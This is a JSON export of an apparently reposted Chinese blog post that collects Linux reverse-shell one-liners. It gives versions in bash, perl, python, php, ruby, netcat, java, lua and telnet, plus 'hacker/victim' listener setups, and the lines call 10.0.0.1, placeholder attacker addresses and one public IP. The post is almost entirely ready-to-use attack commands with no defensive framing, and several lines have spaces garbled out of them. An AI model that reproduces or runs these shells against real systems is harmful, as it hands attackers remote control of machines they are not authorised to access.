{"id":214,"date":"2015-03-07T06:55:40","date_gmt":"2015-03-07T06:55:40","guid":{"rendered":""},"modified":"2015-03-07T06:55:40","modified_gmt":"2015-03-07T06:55:40","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=214","title":{"rendered":"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5"},"content":{"rendered":"<p style=\"padding:0px;margin-top:0px;margin-bottom:0px;clear:both;height:auto;overflow:hidden;\">\n\t<span style=\"font-size:14px;\"><\/span><span style=\"font-size:14px;\">bash\u7248\u672c\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">1\tbash-i &gt;&amp; \/dev\/tcp\/10.0.0.1\/80800&gt;&amp;1<\/span><br \/>\n<span style=\"font-size:14px;\">\u6ce8\u610f\u8fd9\u4e2a\u662f\u7531\u89e3\u6790shell\u7684bash\u5b8c\u6210\uff0c\u6240\u4ee5\u67d0\u4e9b\u60c5\u51b5\u4e0b\u4e0d\u652f\u6301<\/span><br \/>\n<span style=\"font-size:14px;\">perl\u7248\u672c:<\/span><br \/>\n<span style=\"font-size:14px;\">1\tperl -e &#8216;use Socket;$i=&#8221;10.0.0.1&#8243;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#8220;tcp&#8221;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&#8221;&gt;&amp;S&#8221;);open(STDOUT,&#8221;&gt;&amp;S&#8221;);open(STDERR,&#8221;&gt;&amp;S&#8221;);exec(&#8220;\/bin\/sh -i&#8221;);};&#8217;<\/span><br \/>\n<span style=\"font-size:14px;\">python\u7248\u672c\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">1\tpython -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#8220;10.0.0.1&#8221;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#8220;\/bin\/sh&#8221;,&#8221;-i&#8221;]);&#8217;<\/span><br \/>\n<span style=\"font-size:14px;\">php\u7248\u672c\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">1\tphp -r &#8216;$sock=fsockopen(&#8220;10.0.0.1&#8221;,1234);exec(&#8220;\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#8221;);&#8217;<\/span><br \/>\n<span style=\"font-size:14px;\">ruby\u7248\u672c\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">1\truby -rsocket -e&#8217;f=TCPSocket.open(&#8220;10.0.0.1&#8221;,1234).to_i;exec sprintf(&#8220;\/bin\/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d&#8221;,f,f,f)&#8217;<\/span><br \/>\n<span style=\"font-size:14px;\">nc\u7248\u672c\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">1\tnc -e \/bin\/sh10.0.0.1 1234<\/span><br \/>\n<span style=\"font-size:14px;\">2\trm\/tmp\/f;mkfifo\/tmp\/f;cat\/tmp\/f|\/bin\/sh-i 2&gt;&amp;1|nc 10.0.0.1 1234 &gt;\/tmp\/f<\/span><br \/>\n<span style=\"font-size:14px;\">3\tnc x.x.x.x 8888|\/bin\/sh|nc x.x.x.x 9999<\/span><br \/>\n<span style=\"font-size:14px;\">java\u7248\u672c<\/span><br \/>\n<span style=\"font-size:14px;\">1\tr = Runtime.getRuntime()<\/span><br \/>\n<span style=\"font-size:14px;\">2\tp = r.exec([&#8220;\/bin\/bash&#8221;,&#8221;-c&#8221;,&#8221;exec 5&lt;&gt;\/dev\/tcp\/10.0.0.1\/2002;cat &lt;&amp;5 | while read line; do \\$line 2&gt;&amp;5 &gt;&amp;5; done&#8221;] as String[])<\/span><br \/>\n<span style=\"font-size:14px;\">3\tp.waitFor()<\/span><br \/>\n<span style=\"font-size:14px;\">lua\u7248\u672c\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">1\tlua -e &#8220;require(&#8216;socket&#8217;);require(&#8216;os&#8217;);t=socket.tcp();t:connect(&#8216;10.0.0.1&#8242;,&#8217;1234&#8217;);os.execute(&#8216;\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#8217;);&#8221;<\/span><br \/>\n<span style=\"font-size:14px;\">nc\u4e0d\u4f7f\u7528-e\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">01\tHacker:nc -lvnp listenport<\/span><br \/>\n<span style=\"font-size:14px;\">02\tVictim:mknod\/tmp\/backpipep<\/span><br \/>\n<span style=\"font-size:14px;\">03\tVictim:\/bin\/sh0&lt;\/tmp\/backpipe| nc attackerip listenport 1&gt;\/tmp\/backpipe<\/span><br \/>\n<span style=\"font-size:14px;\">04\t\u4e0d\u4f7f\u7528nc<\/span><br \/>\n<span style=\"font-size:14px;\">05\tMethod 1:<\/span><br \/>\n<span style=\"font-size:14px;\">06\tHacker: nc -nvlpp 8080<\/span><br \/>\n<span style=\"font-size:14px;\">07\tVictim: \/bin\/bash-i &gt; \/dev\/tcp\/173.214.173.151\/80800&lt;&amp;1 2&gt;&amp;1<\/span><br \/>\n<span style=\"font-size:14px;\">08\tMethod 2:<\/span><br \/>\n<span style=\"font-size:14px;\">09\tHacker: nc -nvlpp8080<\/span><br \/>\n<span style=\"font-size:14px;\">10\tVictim: mknodbackpipe p &amp;&amp; telnet 173.214.173.151 8080 0backpipe<\/span><br \/>\n<span style=\"font-size:14px;\">11\tMethod 3:<\/span><br \/>\n<span style=\"font-size:14px;\">12\tHacker: nc -nvlpp8080<\/span><br \/>\n<span style=\"font-size:14px;\">13\tHacker: nc -nvlpp8888<\/span><br \/>\n<span style=\"font-size:14px;\">14\tVictim: telnet 173.214.173.151 8080 | \/bin\/bash| telnet 173.214.173.151 8888<\/span><br \/>\n<span style=\"font-size:14px;\">\u53c2\u8003\u6587\u7ae0\uff1a<\/span><br \/>\n<span style=\"font-size:14px;\">http:\/\/zone.wooyun.org\/content\/5064<\/span><br \/>\n<span style=\"font-size:14px;\">http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet<\/span><br \/>\n<span style=\"font-size:14px;\">\u672c\u6587\u56fa\u5b9a\u94fe\u63a5: http:\/\/www.waitalone.cn\/linux-shell-rebound-under-way.html | \u72ec\u81ea\u7b49\u5f85-\u4fe1\u606f\u5b89\u5168\u535a\u5ba2<\/span><br \/>\n<span style=\"font-size:14px;\">\u4f5c\u8005\uff1a\u72ec\u81ea\u7b49\u5f85 | \u53d1\u5e03\uff1a2013\u5e7407\u670816\u65e5<\/span><br \/>\n<span style=\"font-size:14px;\">\u5206\u7c7b\uff1a\u6e17\u900f\u6d4b\u8bd5<\/span><br \/>\n<span style=\"font-size:14px;\">\u6807\u7b7e\uff1alinux,shell,\u53cd\u5f39<\/span><br \/>\n<span style=\"font-size:14px;\">\u8f6c\u8f7d\u6587\u7ae0\u8bf7\u6ce8\u660e\uff1aLinux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5 | \u72ec\u81ea\u7b49\u5f85-\u4fe1\u606f\u5b89\u5168\u535a\u5ba2<\/span><br \/>\n<span style=\"font-size:14px;\"><\/span><span style=\"font-size:14px;\"><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p style=\"border:0px;margin-top:0px;margin-bottom:0px;padding:5px 0px;line-height:30px;text-indent:2em;color:#333333;font-family:\u5fae\u8f6f\u96c5\u9ed1, \u5b8b\u4f53, PMingLiU, Verdana, Arial, Helvetica, sans-serif;font-size:15px;white-space:normal;background-color:#FFFFFF;\">\n\t<img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201703\/5770f4918cf157ab7c5ddf855a80570c20170307065610.png\" alt=\"bash\" width=\"492\" height=\"269\" class=\"alignnone size-full wp-image-196\" style=\"border-width:1px;border-style:dashed;border-color:#AAAAAA;margin:0px;padding:2px;cursor:pointer;height:auto;max-width:630px;transition:0.5s;\" \/>\n<\/p>\n<p style=\"border:0px;margin-top:0px;margin-bottom:0px;padding:5px 0px;line-height:30px;text-indent:2em;color:#333333;font-family:\u5fae\u8f6f\u96c5\u9ed1, \u5b8b\u4f53, PMingLiU, Verdana, Arial, Helvetica, sans-serif;font-size:15px;white-space:normal;background-color:#FFFFFF;\">\n\tbash\u7248\u672c\uff1a\n<\/p>\n<div id=\"highlighter_708841\" class=\"syntaxhighlighter Brush\" style=\"width:673.188px;font-size:15px;color:#333333;white-space:normal;border:0px !important;margin:1em 0px !important;padding:1px !important;outline:0px !important;background:none #1B2426 !important;float:none !important;vertical-align:baseline !important;position:relative !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;min-height:auto !important;\">\n<div class=\"lines\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<div class=\"line alt1\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background-image:none !important;background-position:initial !important;background-size:initial !important;background-repeat:initial !important;background-attachment:initial !important;background-origin:initial !important;background-clip:initial !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<table style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<tbody style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<tr style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<td class=\"number\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:top !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:3em !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">\n\t\t\t\t\t\t\t<code style=\"border:0px !important;margin:0px !important;padding:0px 0.3em 0px 0px !important;outline:0px !important;background:none !important;text-align:right !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:2.7em !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;display:block !important;color:#AFAFAF !important;\">1<\/code>\n\t\t\t\t\t\t<\/td>\n<td class=\"content\" style=\"border-width:0px 0px 0px 3px !important;border-top-style:initial !important;border-right-style:initial !important;border-bottom-style:initial !important;border-left-style:solid !important;border-top-color:initial !important;border-right-color:initial !important;border-bottom-color:initial !important;border-left-color:#435A5F !important;border-image:initial !important;margin:0px !important;padding:0px 0px 0px 0.5em !important;outline:0px !important;background:none !important;float:none !important;vertical-align:top !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;word-break:break-all !important;color:#B9BDB6 !important;\">\n\t\t\t\t\t\t\t<code class=\"Brush functions\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;color:#FFAA3E !important;\">bash<\/code>&nbsp;<code class=\"Brush plain\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">-i &gt;&amp;&nbsp;<\/code><code class=\"Brush plain\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">\/dev\/tcp\/10<\/code><code class=\"Brush plain\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">.0.0.1<\/code><code class=\"Brush plain\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">\/8080<\/code>&nbsp;<code class=\"Brush plain\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">0&gt;&amp;1<\/code>\n\t\t\t\t\t\t<\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<\/p><\/div>\n<\/div>\n<p style=\"border:0px;margin-top:0px;margin-bottom:0px;padding:5px 0px;line-height:30px;text-indent:2em;color:#333333;font-family:\u5fae\u8f6f\u96c5\u9ed1, \u5b8b\u4f53, PMingLiU, Verdana, Arial, Helvetica, sans-serif;font-size:15px;white-space:normal;background-color:#FFFFFF;\">\n\t\u6ce8\u610f\u8fd9\u4e2a\u662f\u7531\u89e3\u6790shell\u7684bash\u5b8c\u6210\uff0c\u6240\u4ee5\u67d0\u4e9b\u60c5\u51b5\u4e0b\u4e0d\u652f\u6301\n<\/p>\n<p style=\"border:0px;margin-top:0px;margin-bottom:0px;padding:5px 0px;line-height:30px;text-indent:2em;color:#333333;font-family:\u5fae\u8f6f\u96c5\u9ed1, \u5b8b\u4f53, PMingLiU, Verdana, Arial, Helvetica, sans-serif;font-size:15px;white-space:normal;background-color:#FFFFFF;\">\n\tperl\u7248\u672c:\n<\/p>\n<div id=\"highlighter_916974\" class=\"syntaxhighlighter Brush\" style=\"width:673.188px;font-size:15px;color:#333333;white-space:normal;border:0px !important;margin:1em 0px !important;padding:1px !important;outline:0px !important;background:none #1B2426 !important;float:none !important;vertical-align:baseline !important;position:relative !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;min-height:auto !important;\">\n<div class=\"lines\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<div class=\"line alt1\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background-image:none !important;background-position:initial !important;background-size:initial !important;background-repeat:initial !important;background-attachment:initial !important;background-origin:initial !important;background-clip:initial !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<table style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<tbody style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<tr style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-size:1em !important;min-height:auto !important;\">\n<td class=\"number\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:top !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:3em !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">\n\t\t\t\t\t\t\t<code style=\"border:0px !important;margin:0px !important;padding:0px 0.3em 0px 0px !important;outline:0px !important;background:none !important;text-align:right !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:2.7em !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;display:block !important;color:#AFAFAF !important;\">1<\/code>\n\t\t\t\t\t\t<\/td>\n<td class=\"content\" style=\"border-width:0px 0px 0px 3px !important;border-top-style:initial !important;border-right-style:initial !important;border-bottom-style:initial !important;border-left-style:solid !important;border-top-color:initial !important;border-right-color:initial !important;border-bottom-color:initial !important;border-left-color:#435A5F !important;border-image:initial !important;margin:0px !important;padding:0px 0px 0px 0.5em !important;outline:0px !important;background:none !important;float:none !important;vertical-align:top !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;word-break:break-all !important;color:#B9BDB6 !important;\">\n\t\t\t\t\t\t\t<code class=\"Brush plain\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;\">perl -e&nbsp;<\/code><code class=\"Brush string\" style=\"border:0px !important;margin:0px !important;padding:0px !important;outline:0px !important;background:none !important;float:none !important;vertical-align:baseline !important;position:static !important;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;height:auto !important;width:auto !important;line-height:1.1em !important;font-family:Consolas, &quot;font-size:1em !important;min-height:auto !important;color:#5CE638 !important;\">'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK...<\/code>\n\t\t\t\t\t\t<\/td>\n<\/tr>\n<\/tbody>\n<\/table><\/div>\n<\/p><\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-214","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5 - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=214\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5 - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"bash\u7248\u672c\uff1a                       1             bash&nbsp;-i &gt;&amp;&nbsp;\/dev\/tcp\/10.0.0.1\/8080&nbsp;0&gt;&amp;1                     \u6ce8\u610f\u8fd9\u4e2a\u662f\u7531\u89e3\u6790shell\u7684bash\u5b8c\u6210\uff0c\u6240\u4ee5\u67d0\u4e9b\u60c5\u51b5\u4e0b\u4e0d\u652f\u6301    perl\u7248\u672c:                       1             perl -e&nbsp;&#039;use Socket;$i=&quot;10.0.0.1&quot;;$p=1234;socket(S,PF_INET,SOCK...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=214\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2015-03-07T06:55:40+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=214#webpage\",\"url\":\"http:\/\/weizn.net\/?p=214\",\"name\":\"[\\u8f6c] Linux\\u4e0b\\u53cd\\u5f39shell\\u65b9\\u6cd5 - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"datePublished\":\"2015-03-07T06:55:40+00:00\",\"dateModified\":\"2015-03-07T06:55:40+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=214#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=214\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=214#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"[\\u8f6c] Linux\\u4e0b\\u53cd\\u5f39shell\\u65b9\\u6cd5\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=214#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=214#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"[\\u8f6c] Linux\\u4e0b\\u53cd\\u5f39shell\\u65b9\\u6cd5\",\"datePublished\":\"2015-03-07T06:55:40+00:00\",\"dateModified\":\"2015-03-07T06:55:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=214#webpage\"},\"wordCount\":314,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"articleSection\":[\"\\u5e94\\u7528\\u5b89\\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=214#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5 - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=214","og_locale":"zh_CN","og_type":"article","og_title":"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5 - Wayne&#039;s Blog","og_description":"bash\u7248\u672c\uff1a                       1             bash&nbsp;-i &gt;&amp;&nbsp;\/dev\/tcp\/10.0.0.1\/8080&nbsp;0&gt;&amp;1                     \u6ce8\u610f\u8fd9\u4e2a\u662f\u7531\u89e3\u6790shell\u7684bash\u5b8c\u6210\uff0c\u6240\u4ee5\u67d0\u4e9b\u60c5\u51b5\u4e0b\u4e0d\u652f\u6301    perl\u7248\u672c:                       1             perl -e&nbsp;'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK...","og_url":"http:\/\/weizn.net\/?p=214","og_site_name":"Wayne&#039;s Blog","article_published_time":"2015-03-07T06:55:40+00:00","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=214#webpage","url":"http:\/\/weizn.net\/?p=214","name":"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5 - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"datePublished":"2015-03-07T06:55:40+00:00","dateModified":"2015-03-07T06:55:40+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=214#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=214"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=214#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=214#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=214#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"[\u8f6c] Linux\u4e0b\u53cd\u5f39shell\u65b9\u6cd5","datePublished":"2015-03-07T06:55:40+00:00","dateModified":"2015-03-07T06:55:40+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=214#webpage"},"wordCount":314,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"articleSection":["\u5e94\u7528\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=214#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=214"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/214\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=214"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}